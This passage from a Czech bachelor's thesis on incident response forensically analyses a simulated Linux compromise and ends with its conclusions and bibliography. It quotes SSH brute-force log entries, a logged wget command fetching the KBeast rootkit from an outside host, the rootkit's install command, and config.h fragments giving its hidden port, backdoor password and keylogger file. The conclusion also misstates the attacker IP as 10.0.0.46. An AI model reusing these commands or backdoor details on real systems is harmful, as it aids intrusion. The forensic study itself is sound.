IORDY=yes,tPIO={min:120,w/IORDY:120},
tDMA={min:120,rec:120}
PIO modes:  pio0  pio3  pio4
DMA modes:  mdma0 mdma1 mdma2
UDMA modes: udma0 udma1 udma2 udma3 udma4 udma5 *udma6
AdvancedPM=no WriteCache=enabled
Drive conforms to: unknown:  ATA/ATAPI-1,2,3,4,5,6
* signifies the current active mode
```

- V logovém souboru /var/log/auth.log.1 nalezeny informace o pokusech o přihlášení na službu ssh z IP adresy 10.0.0.146.

```
Dec  1 10:31:42 victim sshd[1277]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=master-virtualbox.local  user=master
Dec  1 10:31:44 victim sshd[1277]: Failed password for
master from 10.0.0.146 port 36568 ssh2
Dec  1 10:31:53 victim sshd[1277]: last message
repeated 4 times
Dec  1 10:31:53 victim sshd[1277]: PAM 4 more
authentication failures; logname= uid=0 euid=0 tty=ssh
ruser= rhost=master-virtualbox.local  user=master
Dec  1 10:31:53 victim sshd[1277]: PAM service(sshd)
ignoring max retries; 5 > 3
```

```
Dec  1 10:35:32 victim sshd[1311]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=master-virtualbox.local  user=master
Dec  1 10:35:32 victim sshd[1310]: Accepted password
for master from 10.0.0.146 port 36576 ssh2
Dec  1 10:35:32 victim sshd[1313]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=master-virtualbox.local  user=master
Dec  1 10:35:32 victim sshd[1314]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=master-virtualbox.local  user=master
Dec  1 10:35:32 victim sshd[1310]:
pam_unix(sshd:session): session opened for user master
by (uid=0)
Dec  1 10:35:32 victim sshd[1312]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0 tty=ssh
ruser= rhost=master-virtualbox.local  user=master
Dec  1 10:35:34 victim sshd[1311]: Failed password for
master from 10.0.0.146 port 36577 ssh2
Dec  1 10:35:34 victim sshd[1310]:
pam_unix(sshd:session): session closed for user master
Dec  1 10:35:34 victim sshd[1314]: Failed password for
master from 10.0.0.146 port 36580 ssh2
Dec  1 10:35:34 victim sshd[1313]: Failed password for
master from 10.0.0.146 port 36579 ssh2
Dec  1 10:35:34 victim sshd[1312]: Failed password for
master from 10.0.0.146 port 36578 ssh2
```

Dále pak informace o úspěšném přihlášení pomocí shh, také z adresy 10.0.0.146.

```
Dec  1 11:38:32 victim sshd[1562]: Accepted password
for master from 10.0.0.146 port 36581 ssh2
Dec  1 11:38:32 victim sshd[1562]:
pam_unix(sshd:session): session opened for user master
by (uid=0)
```

Nalezeny informace o stažení a archivu ipsec-kbeas-v1.tar.gz z vyznačené webové adresy. Následným zkoumáním je zjištěno, že se jedná o rootkit.

```
Dec  1 11:44:48 victim sudo:   master : TTY=pts/1 ;
PWD=/home/master ; USER=root ; COMMAND=/usr/bin/wget
core.ipcecs.com/rootkit/kernel-rootkit/ipcsecs-kbeast-
v1.tar.gz
```

Dále nalezen příkaz, kterým byl rootkit nainstalován.

```
Dec  1 12:19:09 victim sudo:   master : TTY=pts/1 ;
PWD=/home/master/kbeast-v1 ; USER=root ;
COMMAND=./setup build
```

- V adresáři /usr nalezen adresář /_h4x_ obsahující soubory rootkitu. Analýzou konfiguračního souboru config.h nalezeny informace, že by port 13377 mohl být použit ke vzdálenému přístupu s přihlašovacím jménem „master“ a heslem „h4x3d“. Dále pak nalezena informace o souboru acctlog, který by mohl sloužit jako výstup keyloggeru.

```
#define _H4X_PATH_ "/usr/_h4x_"
/*
File to save key logged data
*/
#define _LOGFILE_ "acctlog"
/*
This port will be hidded from netstat
*/
```

```
#define _HIDE_PORT_ 13377
/*
Password for remote access
*/
#define _RPASSWORD_ "h4x3d"
#define _MAGIC_NAME_ "master"
/*
```

Soubor acctlog opravdu slouží jako výstup keyloggeru, obsahuje příkazy zadané uživatelem master.

Závěr a doporučení

Ze zjištěných skutečností lze usoudit, že se pachateli s adresou IP 10.0.0.46 podařilo získat přístup k přihlašovacímu heslu uživatele master. Dále bylo zjištěno, že byl nainstalován rootikit KBeast, díky němuž má pachatel přístup k systému a díky keyloggeru je schopen monitorovat počínání uživatele.

Nejrychlejším a nejspolehlivějším řešením incidentu je obnova systému ze zálohy. Dále je nutná změna všech hesel, která budou vytvořena podle zásad pro tvorbu silných hesel.

9.3 Hodnocení metodiky

Ze zjištěných skutečností lze usoudit, že navržená metodika se ukázala jako plně funkční a může sloužit k odhalování základních druhů útoků. V případě, kdy by byly doplněny techniky zálohy a následné analýzy operační paměti, by pak metodika byla použitelná i pro odhalování sofistikovanějších útoků.

10 Závěr

Bakalářská práce Reakce na incidenty a forenzní analýza se snaží přispět k stále aktuálnější problematice vyšetřování počítačové kriminality.

V teoretické části této práce byly popsány základní typy útoků a možnosti, jak se jim bránit. Následně byly popsány obecně přijímané postupy zajišťování počítačové techniky jako důkazního materiálu pro případné soudní řízení. Velká pozornost byla věnována technikám zajištění obrazů disků, které jsou pro další vyšetřování stěžejní.

V praktické části byla navržena metodika pro vyšetřování incidentů. Navržená metodika použitá pro vyšetřování simulovaného incidentu se ukázala jako plně funkční. Bakalářská práce tedy splnila všechny stanovené cíle.

11 Použitá literatura

[1] PONEMON INSTITUTE. *Second Annual Cost of Cyber Crime Study: Benchmark Study of U.S. Companies*. 2011. [cit. 2012-12-08]. Dostupné z: http://www.hpenterprisesecurity.com/collateral/report/2011_Cost_of_Cyber_Crime_Study_August.pdf

[2] PROSISE, Chris. *Počítačový útok*: *Detekce, obrana a okamžitá náprava*. Vyd. 1. Praha: Computer Press, 2002, 410 s. ISBN 80-722-6682-9.

[3] NOLAN, Richard, Colin O'SULLIVAN, Jake BRANSON a Cal WAITS. SOFTWARE ENGINEERING INSTITUTE, Carnegie Mellon University. *First Responders Guide to Computer Forensics*. CMU/SEI-2005-HB-001. 2005. [cit. 2012-12-08]. Dostupné z: www.cert.org/archive/pdf/FRGCF_v1.3.pdf

[4] SCAMBRAY, Joel. *Hacking bez tajemství: windows, net.ware, unix/linux*. Vyd. 1. Brno: Computer Press, 2002, 625 s. ISBN 80-722-6644-6.

[5] CHUVAKIN, Anton. IDEFENSE INC. *An Overview of Unix Rootkits*. ©2003. [cit. 2012-12-08]. Dostupné z: http://www.rootsecure.net/content/downloads/pdf/unix_rootkits_overview.pdf

[6] SVETLÍK, Marián. Digitální forenzní analýza a bezpečnost informací. *Digital Security Magazine*. 2010, č. 1, s. 4. [cit. 2012-12-08]. Dostupné z: http://www.rac.cz/RAC/homepage.nsf/CZ/Clanky/$FILE/DSM-Digit%C3%A1ln%C3%AD%20forenzn%C3%AD%20anal%C3%BDza-01-2010.pdf

[7] CALOYANNIDES, Michael A. *Computer forensics and privacy*. Boston, MA: Artech House, 2001, xvii, 392 p. ISBN 15-805-3283-7.

[8] UBUNTU. *Ubuntu.cz* [online]. [cit. 2012-12-08]. Dostupné z: www.ubuntu.cz

[9] ORACLE. *VirtualBox* [online]. [cit. 2012-12-08]. Dostupné z: https://www.virtualbox.org/

[10] KAZIENKO, Przemyslaw a Piotr DOROSZ. Intrusion Detection Systems (IDS) Part I: (network intrusions; attack symptoms; IDS tasks; and IDS architecture). [online]. 2003 [cit. 2012-12-08]. Dostupné z: http://www.windowsecurity.com/articles/Intrusion_Detection_Systems_IDS_Part_I__network_intrusions_attack_symptoms_IDS_tasks_and_IDS_architecture.html?printversion

[11] KADLEC, Josef. *Forenzní analýza unixových systémů*. Hradec Králové, 2006. Dostupné z: http://www.root.cz/knihy/forenzni-analyza-unixovych-systemu/. Diplomová práce. UNIVERZITA HRADEC KRÁLOVÉ. Vedoucí práce MILOSLAV FELTL.

[12] MoVP 1.5 KBeast Rootkit, Detecting Hidden Modules, and sysfs. In: *Volatility Labs* [online]. 2012 [cit. 2012-12-08]. Dostupné z: http://volatility-labs.blogspot.cz/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html

[13] HOELZER, David. How To: Build a Response CD. SANS. *Computer Forensics and Incident Response* [online]. [cit. 2012-12-08]. Dostupné z: http://computer-forensics.sans.org/blog/2008/12/26/how-to-build-a-response-cd

[14] KBeast – The New Kernel Rootkit. In: *IT Security* [online]. 2011 [cit. 2012-12-08]. Dostupné z: http://ipsecs.com/web/?p=277

[15] KBeast (Kernel Beast) Linux Rootkit 2012. In: *Packet storm* [online]. 2012 [cit. 2012-12-08]. Dostupné z: http://packetstormsecurity.org/files/108286/KBeast-Kernel-Beast-Linux-Rootkit-2012.html

12 Přílohy

[1] DVD se zajištěnými soubory a elektronickou kopií této práce